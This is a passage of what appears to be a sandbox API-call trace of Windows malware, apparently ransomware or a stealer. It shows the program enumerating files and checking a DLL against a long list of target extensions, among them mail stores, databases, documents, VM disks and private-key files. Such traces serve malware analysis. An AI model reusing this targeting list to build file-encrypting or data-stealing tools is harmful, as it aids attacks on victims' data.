lpOverlapped=0x0) returned 1 [0104.546] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.546] CloseHandle (hObject=0x90) returned 1 [0104.546] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\", lpString2="PresentationFramework.Aero.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll" [0104.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.ems") returned 0 [0104.546] lstrlenA (lpString="*.ems") returned 5 [0104.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.db") returned 0 [0104.546] lstrlenA (lpString="*.db") returned 4 [0104.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.dbf") returned 0 [0104.547] lstrlenA (lpString="*.dbf") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.myox") returned 0 [0104.547] lstrlenA (lpString="*.myox") returned 6 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.myo") returned 0 [0104.547] lstrlenA (lpString="*.myo") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbw") returned 0 [0104.547] lstrlenA (lpString="*.qbw") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbb") returned 0 [0104.547] lstrlenA (lpString="*.qbb") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbm") returned 0 [0104.547] lstrlenA (lpString="*.qbm") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbo") returned 0 [0104.547] lstrlenA (lpString="*.qbo") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbx") returned 0 [0104.547] lstrlenA (lpString="*.qbx") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qba") returned 0 [0104.547] lstrlenA (lpString="*.qba") returned 5 [0104.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qby") returned 0 [0104.548] lstrlenA (lpString="*.qby") returned 5 [0104.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbj") returned 0 [0104.548] lstrlenA (lpString="*.qbj") returned 5 [0104.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.ofx") returned 0 [0104.548] lstrlenA (lpString="*.ofx") returned 5 [0104.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.qif") returned 0 [0104.548] lstrlenA (lpString="*.qif") returned 5 [0104.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mye") returned 0 [0104.549] lstrlenA (lpString="*.mye") returned 5 [0104.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mbox") returned 0 [0104.549] lstrlenA (lpString="*.mbox") returned 6 [0104.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.eml") returned 0 [0104.549] lstrlenA (lpString="*.eml") returned 5 [0104.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.pst") returned 0 [0104.549] lstrlenA (lpString="*.pst") returned 5 [0104.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.ost") returned 0 [0104.549] lstrlenA (lpString="*.ost") returned 5 [0104.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.idx") returned 0 [0104.549] lstrlenA (lpString="*.idx") returned 5 [0104.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.dbx") returned 0 [0104.549] lstrlenA (lpString="*.dbx") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.sql") returned 0 [0104.550] lstrlenA (lpString="*.sql") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mdb") returned 0 [0104.550] lstrlenA (lpString="*.mdb") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.fdb") returned 0 [0104.550] lstrlenA (lpString="*.fdb") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.wab") returned 0 [0104.550] lstrlenA (lpString="*.wab") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.dat") returned 0 [0104.550] lstrlenA (lpString="*.dat") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.txt") returned 0 [0104.550] lstrlenA (lpString="*.txt") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.jpeg") returned 0 [0104.550] lstrlenA (lpString="*.jpeg") returned 6 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.jpg") returned 0 [0104.550] lstrlenA (lpString="*.jpg") returned 5 [0104.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.png") returned 0 [0104.550] lstrlenA (lpString="*.png") returned 5 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.php") returned 0 [0104.551] lstrlenA (lpString="*.php") returned 5 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.cs") returned 0 [0104.551] lstrlenA (lpString="*.cs") returned 4 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.cpp") returned 0 [0104.551] lstrlenA (lpString="*.cpp") returned 5 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.rar") returned 0 [0104.551] lstrlenA (lpString="*.rar") returned 5 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.zip") returned 0 [0104.551] lstrlenA (lpString="*.zip") returned 5 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.html") returned 0 [0104.551] lstrlenA (lpString="*.html") returned 6 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.htm") returned 0 [0104.551] lstrlenA (lpString="*.htm") returned 5 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.xlsx") returned 0 [0104.551] lstrlenA (lpString="*.xlsx") returned 6 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.xls") returned 0 [0104.551] lstrlenA (lpString="*.xls") returned 5 [0104.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mp4") returned 0 [0104.552] lstrlenA (lpString="*.mp4") returned 5 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.ppt") returned 0 [0104.552] lstrlenA (lpString="*.ppt") returned 5 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.pptx") returned 0 [0104.552] lstrlenA (lpString="*.pptx") returned 6 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.doc") returned 0 [0104.552] lstrlenA (lpString="*.doc") returned 5 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.dot") returned 0 [0104.552] lstrlenA (lpString="*.dot") returned 5 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.docx") returned 0 [0104.552] lstrlenA (lpString="*.docx") returned 6 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.7z") returned 0 [0104.552] lstrlenA (lpString="*.7z") returned 4 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.tar") returned 0 [0104.552] lstrlenA (lpString="*.tar") returned 5 [0104.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.bz2") returned 0 [0104.553] lstrlenA (lpString="*.bz2") returned 5 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.gz") returned 0 [0104.553] lstrlenA (lpString="*.gz") returned 4 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mkv") returned 0 [0104.553] lstrlenA (lpString="*.mkv") returned 5 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.eml") returned 0 [0104.553] lstrlenA (lpString="*.eml") returned 5 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.msg") returned 0 [0104.553] lstrlenA (lpString="*.msg") returned 5 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.edb") returned 0 [0104.553] lstrlenA (lpString="*.edb") returned 5 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.accdb") returned 0 [0104.553] lstrlenA (lpString="*.accdb") returned 7 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.odb") returned 0 [0104.553] lstrlenA (lpString="*.odb") returned 5 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.java") returned 0 [0104.553] lstrlenA (lpString="*.java") returned 6 [0104.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.asm") returned 0 [0104.554] lstrlenA (lpString="*.asm") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.pfx") returned 0 [0104.554] lstrlenA (lpString="*.pfx") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.pem") returned 0 [0104.554] lstrlenA (lpString="*.pem") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.p12") returned 0 [0104.554] lstrlenA (lpString="*.p12") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.gpg") returned 0 [0104.554] lstrlenA (lpString="*.gpg") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.vsd") returned 0 [0104.554] lstrlenA (lpString="*.vsd") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.odg") returned 0 [0104.554] lstrlenA (lpString="*.odg") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.raw") returned 0 [0104.554] lstrlenA (lpString="*.raw") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.nef") returned 0 [0104.554] lstrlenA (lpString="*.nef") returned 5 [0104.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.svg") returned 0 [0104.555] lstrlenA (lpString="*.svg") returned 5 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.psd") returned 0 [0104.555] lstrlenA (lpString="*.psd") returned 5 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.vmx") returned 0 [0104.555] lstrlenA (lpString="*.vmx") returned 5 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.vmdk") returned 0 [0104.555] lstrlenA (lpString="*.vmdk") returned 6 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.vdi") returned 0 [0104.555] lstrlenA (lpString="*.vdi") returned 5 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.lay6") returned 0 [0104.555] lstrlenA (lpString="*.lay6") returned 6 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mpeg") returned 0 [0104.555] lstrlenA (lpString="*.mpeg") returned 6 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.djvu") returned 0 [0104.555] lstrlenA (lpString="*.djvu") returned 6 [0104.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.tiff") returned 0 [0104.555] lstrlenA (lpString="*.tiff") returned 6 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.backup") returned 0 [0104.556] lstrlenA (lpString="*.backup") returned 8 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.pdf") returned 0 [0104.556] lstrlenA (lpString="*.pdf") returned 5 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.cert") returned 0 [0104.556] lstrlenA (lpString="*.cert") returned 6 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.docm") returned 0 [0104.556] lstrlenA (lpString="*.docm") returned 6 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.xlsm") returned 0 [0104.556] lstrlenA (lpString="*.xlsm") returned 6 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.dwg") returned 0 [0104.556] lstrlenA (lpString="*.dwg") returned 5 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.nd") returned 0 [0104.556] lstrlenA (lpString="*.nd") returned 4 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.tlg") returned 0 [0104.556] lstrlenA (lpString="*.tlg") returned 5 [0104.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.lgb") returned 0 [0104.556] lstrlenA (lpString="*.lgb") returned 5 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mov") returned 0 [0104.557] lstrlenA (lpString="*.mov") returned 5 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.xdw") returned 0 [0104.557] lstrlenA (lpString="*.xdw") returned 5 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.ods") returned 0 [0104.557] lstrlenA (lpString="*.ods") returned 5 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.wav") returned 0 [0104.557] lstrlenA (lpString="*.wav") returned 5 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.mp3") returned 0 [0104.557] lstrlenA (lpString="*.mp3") returned 5 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.aiff") returned 0 [0104.557] lstrlenA (lpString="*.aiff") returned 6 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.flac") returned 0 [0104.557] lstrlenA (lpString="*.flac") returned 6 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.m4a") returned 0 [0104.557] lstrlenA (lpString="*.m4a") returned 5 [0104.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\PresentationFramework.Aero.ni.dll", pszSpec="*.csv") returned 0 [0104.557] lstrlenA (lpString="*.csv") returned 5 [0104.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e6de2c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18e6de2c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18e93f8d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x59e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Aero.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.558] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.558] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9bc79ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9bc79ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bfaf8f86e69928fb2f67987c0203f603", cAlternateFileName="BFAF8F~1")) returned 1 [0104.558] lstrcmpA (lpString1=".", lpString2="bfaf8f86e69928fb2f67987c0203f603") returned -1 [0104.558] lstrcmpA (lpString1="..", lpString2="bfaf8f86e69928fb2f67987c0203f603") returned -1 [0104.558] PathFindFileNameA 